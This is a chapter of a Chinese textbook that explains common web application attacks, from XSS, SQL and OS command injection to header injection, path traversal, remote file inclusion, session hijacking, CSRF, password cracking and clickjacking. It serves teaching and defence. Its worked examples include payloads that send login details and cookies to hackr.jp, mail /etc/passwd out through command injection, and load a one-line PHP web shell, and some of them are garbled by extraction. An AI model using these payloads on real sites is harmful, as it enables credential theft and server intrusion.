互联网上的攻击大都将 Web 站点作为目标。本章讲解具体有哪些攻击 Web 站点的手段,以及攻击会造成怎样的影响。
简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的 Web 应用等资源才是攻击目标。
目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把Web 应用作为攻击目标。本章主要针对 Web 应用的攻击技术进行讲解。
与最初的设计相比,现今的 Web 网站应用的 HTTP 协议的使用方式已发生了翻天覆地的变化。几乎现今所有的 Web 网站都会使用会话(session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并不具备这些功能。
从整体上看,HTTP 就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势。
就拿远程登录时会用到的 SSH 协议来说,SSH 具备协议级别的认证及会话管理等功能,HTTP 协议则没有。另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务,而 HTTP 即使已架设好服务器,但若想提供服务器基础上的 Web 应用,很多情况下都需要重新开发。
因此,开发者需要自行设计并开发认证及会话管理功能来满足 Web应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果,安全等级并不完备,可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。
在 Web 应用中,从浏览器那接收到的 HTTP 请求的全部内容,都可以在客户端自由地变更、篡改。所以 Web 应用可能会接收到与预期数据不相同的内容。
在 HTTP 请求报文内加载攻击代码,就能发起对 Web 应用的攻击。通过 URL查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。
对 Web 应用的攻击模式有以下两种。
主动攻击(active attack)是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
利用用户的身份攻击企业内部网络
利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。
很多企业内网依然可以连接到互联网上,访问 Web 网站,或接收互联网发来的邮件。这样就可能给攻击者以可乘之机,诱导用户触发陷阱后对企业内网发动攻击。
实施 Web 应用的安全对策可大致分为以下两部分。
多数情况下采用 JavaScript 在客户端验证数据。可是在客户端允许篡改数据或关闭 JavaScript,不适合将 JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高 UI体验的作用。
Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
跨站脚本攻击(Cross-Site Scripting,XSS) 是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。
解析成 HTML标签,然后显示删除线。http://example.jp/login?ID=">
var+f=document.getElementById(“login”);+f.ac
浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。
之后,ID 及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄露。
对 http://example.jp/login?ID=yama 请求时对应的 HTML源代码(摘录)
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍卖会" />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value="yama" />
</div>
http://example.jp/login?ID=“>
var+f=document.getElementById(“login”);+f.action=“http://hackr.jp/pwget”;+f.method=“get”;
<div class="logo">
<img src="/img/logo.gif" alt="E! 拍卖会 />
</div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
ID <input type="text" name="ID" value=""><script>var f=document.getElementById("login"); f.action="http://hackr.jp/pwget"; f.method="get";</script><span s="
</div>
<
script
src=http://hackr.jp/xss.js>script
>
该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用JavaScript 编写的代码。
var content = escape(document.cookie);
document.write(");
document.write(content);
document.write(">");
在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。
何为 SQL
SQL是用来操作关系型数据库管理系统(Relational DataBase Management System,RDBMS)的数据库语言,可进行操作数据或定义数据等。RDBMS 中有名的数据库有 Oracle Database、Microsoft SQLServer、IBM DB2、MySQL和 PostgreSQL等。这些数据库系统都可以把 SQL作为数据库语言使用。使用数据库的 Web 应用,通过某种方法将 SQL语句传给RDBMS,再把 RDBMS 返回的结果灵活地使用在 Web 应用中。
SELECT title,text FROM newsTbl WHERE id=123
SELECT * FROM bookTbl WHERE author = ‘上野宣’ and flag = 1;
该 SQL语句表示“从 bookTbl 表中,显示满足 author= 上野宣 and flag=1(可售)所在行的数据”。
数据库内的 bookTbl 表记录着该购物网站的所有书籍信息。通过SQL语句,将满足作者名(author)上野宣并且 flag 为 1 双重条件的条目取出,最后作为搜索结果显示出来。
图:数据库处理
SQL 注入攻击的操作示例
把刚才指定查询字段的上野宣改写成“上野宣’–”。
构成的 SQL语句就变成“从数据库的 bookTbl 表中,显示满足author= 上野宣条件所在行的数据”,如下所示。
SELECT * FROM bookTbl WHERE author =‘上野宣’ - -’ and flag=1;
SQL语句中的 – 之后全视为注释。即,and flag=1 这个条件被自动忽略了。
结果跟 flag 的设定值无关,只取出满足 author=“上野宣”条件所在行的数据,这样连那些尚未出版的书籍也一并显示出来了。
OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。
可以从 Web 应用中通过 Shell 来调用操作系统命令。倘若调用 Shell时存在疏漏,就可以执行插入的非法 OS 命令。
OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系统的命令行启动程序。也就是说,通过 OS 注入攻击可执行 OS 上安装着的各种程序。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";
程序中的 open 函数会调用 sendmail 命令发送邮件,而指定的邮件发送地址即 $adr 的值。
攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd | mail [email protected]
程序接收该值,构成以下的命令组合。
| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]
攻击者的输入值中含有分号(;)。这个符号在 OS 命令中,会被解析为分隔多个执行命令的标记。
可见,sendmail 命令执行被分隔后,接下去就会执行 cat/etc/passwd | mail [email protected] 这样的命令了。结果,含有Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了[email protected]。
HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式。
向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack)。
如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。
Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
*12345就是插入值
HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
HTTP 首部注入攻击有可能会造成以下一些影响。
101%0D%0ASet-Cookie:+SID=123456789
其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。
发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符)Set-Cookie: SID=123456789
此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。
攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段。
这样一来,攻击者可在响应中插入任意的首部字段。
%0D%0A%0D%0A
之后,想要显示的网页内容
在可能进行 HTTP 首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。
Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)
<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--(原来页面对应的首部
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。
另外,滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页。
邮件首部注入(Mail Header Injection)是指 Web 应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的 Web 网站,可对任意邮件地址发送广告邮件或病毒邮件。
bob@hackr.jp%0D%0ABcc: user@example.com
%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的 Web应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。
另外像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送。
bob@hackr.jp%0D%0A%0D%0ATest Message
再以相同的方法,就有可能改写 To 和 Subject 等任意邮件首部,或向文本添加附件等动作。
目录遍历 (Directory Traversal) 攻击是指对本无意公开的文件目录通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历 (Path Traversal) 攻击。
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 …/ 等相对路径定位到 /etc/passed 等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。
固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。
http://example.com/read.php?log=0401.log
攻击者设置如下查询字段后发出请求。
http://example.com/read.php?log=…/…/etc/passwd
查询字段为了读取攻击者盯上的 /etc/passwd 文件,会从
/www/log/ 目录开始定位相对路径。如果这份 read.php 脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险。
远程文件包含漏洞(Remote File Inclusion) 是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的 URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
这主要是 PHP 存在的安全漏洞,对 PHP 的 include 或 require 来说这是一种可通过设定,指定外部服务器的 URL作为文件名的功能。但是,该功能太危险,PHP5.2.0 之后默认设定此功能无效。
固然存在输出值转义的问题,但更应控制对任意文件名的指定。
http://example.com/foo.php?mod=news.php
对应脚本的源代码如下所示。
http://example.com/foo.php 的源代码(部分摘录)
$modname = $_GET['mod'];
include($modname);
攻击者指定如同下面形式的 URL发出请求。
http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
攻击者已事先在外部服务器上准备了以下这段脚本。
http://hackr.jp/cmd.php 的源代码
<? system($_GET['cmd']) ?>
假设 Web 服务器(example.com)的 include 可以引入外部服务器的 URL,那就会读入攻击者在外部服务器上事先准备的URL(http://hackr.jp/cmd.php)。结果,通过 system 函数就能在Web 服务器(example.com)上执行查询字段指定的 OS 命令了。
在以上攻击案例中,执行了可显示 Web 服务器(example.com)上文件及目录信息的 ls 命令。
因设置或设计上的缺陷引发的安全漏洞是指,错误设置 Web 服务器,或是由设计上的一些问题引起的安全漏洞。
强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
强制浏览有可能会造成以下一些影响。
对那些原本不愿公开的文件,为了保证安全会隐蔽其 URL。可一旦知道了那些 URL,也就意味着可浏览 URL对应的文件。直接显示容易推测的文件名或文件目录索引时,通过某些方法可能会使 URL产生泄露。
文件目录一览
http://www.example.com/log/
通过指定文件目录名称,即可在文件一览中看到显示的文件名。
容易被推测的文件名及目录名
http://www.example.com/entry/entry_081202.log
文件名称容易推测(按上面的情况,可推出下一个文件是entry_081203.log)
备份文件
http://www.example.com/cgi-bin/entry.cgi(原始文件)
http://www.example.com/cgi-bin/entry.cgi~(备份文件)
http://www.example.com/cgi-bin/entry.bak(备份文件)
由编辑软件自动生成的备份文件无执行权限,有可能直接以源代码形式显示
经认证才可显示的文件
直接通过 URL访问原本必须经过认证才能在 Web 页面上使用的文件
(HTML文件、图片、PDF 等文档、CSS 以及其他数据等)
下面我们以会员制度的 SNS 日记功能为例,讲解强制浏览可能导致的安全漏洞。该日记功能保证了除具有访问权限的用户本人以外,其他人都不能访问日记。
该日记中包含的图像照片的源代码如下所示。
即使没有对这篇日记的访问权限,只要知道这图片的 URL,通过直接指定 URL的方式就能显示该图片。日记的功能和文本具有访问对象的控制,但不具备对图片访问对象的控制,从而产生了安全漏洞。
不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是指,Web 应用的错误信息内包含对攻击者有用的信息。与 Web 应用有关的主要错误信息如下所示。
Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。
各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。
开放重定向(Open Redirect)是一种对指定的任意 URL作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向 URL到某个具有恶意的 Web 网站,那么用户就会被诱导至那个 Web 网站。
http://example.com/?redirect=http://www.tricorder.jp
攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应的连接,如下所示。
http://example.com/?redirect=http://hackr.jp
用户看到 URL后原以为访问 example.com,不料实际上被诱导至hackr.jp 这个指定的重定向目标。
可信度高的 Web 网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话 ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的。
具备认证功能的 Web 应用,使用会话 ID 的会话管理机制,作为管理认证状态的主流方式。会话 ID 中记录客户端的 Cookie 等信息,服务器端将会话 ID 与认证状态进行一对一匹配管理。
下面列举了几种攻击者可获得会话 ID 的途径。
下面我们以认证功能为例讲解会话劫持。这里的认证功能通过会话管理机制,会将成功认证的用户的会话 ID(SID)保存在用户浏览器的 Cookie 中。
攻击者在得知该 Web 网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用 JavaScript 脚本调用 document.cookie 以窃取Cookie 信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击者就能获取含有会话 ID 的 Cookie。
攻击者拿到用户的会话 ID 后,往自己的浏览器的 Cookie 中设置该会话 ID,即可伪装成会话 ID 遭窃的用户,访问 Web 网站了。
对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话 ID,属于被动攻击。
跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
跨站点请求伪造有可能会造成以下等影响。
密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不仅限于 Web 应用,还包括其他的系统(如 FTP 或 SSH 等),本节将会讲解对具备认证功能的 Web 应用进行的密码破解。
密码破解有以下两种手段。
除去突破认证的攻击手段,还有 SQL注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法。
穷举法
穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。
比如银行采用的个人识别码是由“4 位数字”组成的密码,那么就要从 0000~9999 中的全部数字逐个进行尝试。这样一来,必定在候选的密码集合中存在一个正确的密码,可通过认证。
因为穷举法会尝试所有的候选密码,所以是一种必然能够破解密码的攻击。但是,当密钥空间很庞大时,解密可能需要花费数年,甚至千年的时间,因此从现实角度考量,攻击是失败的。
字典攻击
字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。
还是举银行采用个人识别码是“4 位数字”的密码的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将 0101~1231 保存成字典,进行尝试。
与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容。
利用别处泄露的 ID·密码进行攻击
字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码,因此攻击会有相当高的成功几率1。
根据警方的调查统计,成功入侵率有 6.7%。平成 23 年(2011 年)公布的非法访问行为的具体发生状况请参见
http://www.npa.go.jp/cyber/statics/h23/pdf040.pdf
通过穷举法·字典攻击进行类推
针对密码使用散列函数进行加密处理的情况,采用和穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码。
彩虹表
彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。
为了提高攻击成功率,拥有一张海量数据的彩虹表就成了必不可少的条件。例如在 Free Rainbow Tables 网站上(http://www.freerainbowtables.com/en/tables2/)公布的一张由大小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成的彩虹表,其大小约为 1050 吉字节。
拿到密钥
使用共享密钥加密方式对密码数据进行加密处理的情况下,如果能通过某种手段拿到加密使用的密钥,也就可以对密码数据解密了。
加密算法的漏洞
考虑到加密算法本身可能存在的漏洞,利用该漏洞尝试解密也是一种可行的方法。但是要找到那些已广泛使用的加密算法的漏洞,又谈何容易,因此困难极大,不易成功。
而 Web 应用开发者独立实现的加密算法,想必尚未经过充分的验证,还是很有可能存在漏洞的。
点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。
已设置陷阱的 Web 页面,表面上内容并无不妥,但早已埋入想让用户点击的链接。当用户点击到透明的按钮时,实际上是点击了已指定透明属性元素的 iframe 页面。
iframe 页面中使用透明可点击按钮的示例
<iframe id="target" src="http://sns.example.jp/leave" style="opacity:0;filter:alpha(opacity=0)"></iframe>
<button style="position:absolute;top:100;left:100;z-index:-1">PLA
由于 SNS 网站作为透明层被覆盖,SNS 网站上处于登录状态的用户访问这个钓鱼网站并点击页面上的 PLAY 按钮之后,等同于点击了 SNS 网站的注销按钮。
DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。
主要有以下两种 DoS 攻击方式。
其中,集中利用访问请求的 DoS 攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止 DoS 攻击。
多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial of Service attack)。DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能。
通常的后门程序分为以下 3 种类型。
可通过监视进程和通信的状态发现被植入的后门程序。但设定在 Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。